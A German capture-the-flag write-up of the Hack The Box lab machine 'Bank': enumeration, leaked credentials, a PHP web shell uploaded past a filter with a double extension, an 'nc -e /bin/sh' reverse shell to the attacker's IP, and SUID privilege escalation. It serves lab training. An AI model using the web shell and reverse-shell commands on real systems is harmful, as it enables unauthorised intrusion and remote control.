Bank ist eine einfache Linux Maschine mit dem Schwerpunkt Web und SUID. Sie wurde am 16.06.2017 veröffentlicht und ist retired.
Discovery
Wie immer fange ich mit einen einfachen NMAP Scan an um mir eine Übersicht über das Ziel zu verschaffen.
nmap -sC -sV -p- <ip>
Die Maschine hat drei offene Ports:
– Port 22 für OpenSSH in der Version 6.6.1p1
– Port 53 für die Namensauflösung über BIND (Link)
– Port 80 für einen Apache 2.4.7 Webserver
Der Webserver
Beim Aufruf der IP Adresse im Browser erscheint die Apache Seite welche bei ein frisch eingerichteten Webserver vorhanden ist.
Im nächsten Schritt untersuchen wir die Webseite mit Gobuster und der common.txt Liste von SecLists. Leider wurden keine weiteren Seiten gefunden:
Da es sich bei dieser Liste fast ausschließlich um Ordner handelt lassen wir noch die raft-large-files.txt rüberlaufen aber auch hier finden wir nichts.
DNS und hosts Datei
Nach erneuten überprüfen der bereits vorliegenden Ergebnisse (NMAP) fällt mir auf das das Ziel einen eigenen DNS Server betreibt und wir ggf. unsere hosts Datei anpassen müssen (/etc/hosts):
Nachdem dies geschehen ist können wir über bank.htb die Seite erreichen und dieses mal haben wir auch eine richtige Webseite:
Anschließend lassen wir Gobuster wieder über die Webseite laufen.
gobuster dir -u bank.htb -w raft-large-files.txt -b 403,404
gobuster dir -u bank.htb -w common.txt -b 403,404
gobuster dir -u bank.htb -w directory-list-2.3-medium.txt -b 403,404
Das -b 403,404 sorgt dafür das auch die 403er ignoriert werden. Ansonsten würde er nur die 404er als fehlerhaft ansehen.
Dieses mal haben wir auch richtige Ergebnisse bekommen, folgende Dateien und Ordner sind uns nun bekannt:
/assets
/inc
/uploads
/balance-transfer
/index.php
/logout.php
/login.php
/support.php
Wobei alle php Seiten auf login.php umleiten. Im nächsten Schritt besuchen wir die Seiten manuell. Dabei fällt auf das directory listining bei assets und inc aktiv ist. Heißt wir können den Inhalt dieser Ordner sehen.
In /inc und /assets habe ich nichts Interessantes gefunden. Die Daten in balance-transfer enthalten alle Accountdetails, jedoch sind diese verschlüsselt:
Da ich prüfen wollte ob in diesen Ordner noch andere Dokumente liegen, die Liste relativ lang ist und mir aufgefallen ist das die Dateien mit den Accountdetails alle eine Größe von ca. 583 besitzen habe ich die Ansicht nach der Größe sortiert. Dabei fällt eine Datei mit einer Größe von 257 auf:
Wir haben nun Daten für die Loginseite und können uns erfolgreich einloggen:
Web Shell
Um Zugriff auf das System zu erhalten erstellen wir nun eine Datei mit folgenden Inhalt:
<pre> <?=`$_GET[1]`?>
Speichern tun wir diese Datei unter shell.php.htb, alternativ kann auch ein andere Ende gewählt werden jedoch muss ein zweiter Dateityp kommen da .php blockiert wird. Nun laden wir diese Datei unter Support hoch:
Unter bank.htb/uploads/shell.php.htb ist diese nun erreichbar. Befehle können über die Variable 1 übergeben werden. Der Aufruf von bank.htb/uploads/shell.php.htb?1=id führt z.B. den Befehl id aus und gibt die folgende Ausgabe im Browser aus:
Reverse Shell
Nun wo wir die Möglichkeit haben Befehle auf dem Server auszuführen bauen wird eine Reverse Shell auf. In einer Konsole wird ein Listener auf Port 9999 gestartet:
nc -nvlp 9999
Anschließend rufen wir folgende URL auf:
http://bank.htb/uploads/shell.php.htb?1=nc%20-e%20/bin/sh%2010.10.14.58%209999
Die %20 sind Leerzeichen. Die IP Adresse 10.10.14.58 und der Port 9999 muss an die Daten des Angreifers angepasst werden. Nach Aufruf des Links wird eine Verbindung hergestellt:
User Flag
Nun kann die User Flag unter /home/chris/user.txt gefunden werden.
cat /home/chris/user.txt
Privileg Escalation
Um weiteren Zugriff zu bekommen laden wir über ein weiteres Ticket LinEnum.sh hoch. Dieses führen wir anschließend mit folgendem Befehl aus:
./linenum.sh > output.txt
Auf dem Server befindet sich eine Datei welche uns root Rechte gibt. Diese ist unter /var/htb/bin/emergency zu finden. Wir führen die Datei aus und sind anschließend Root.
Root Flag
Unter /root/root.txt kann nun die Root Flag gefunden werden.
cat /root/root.txt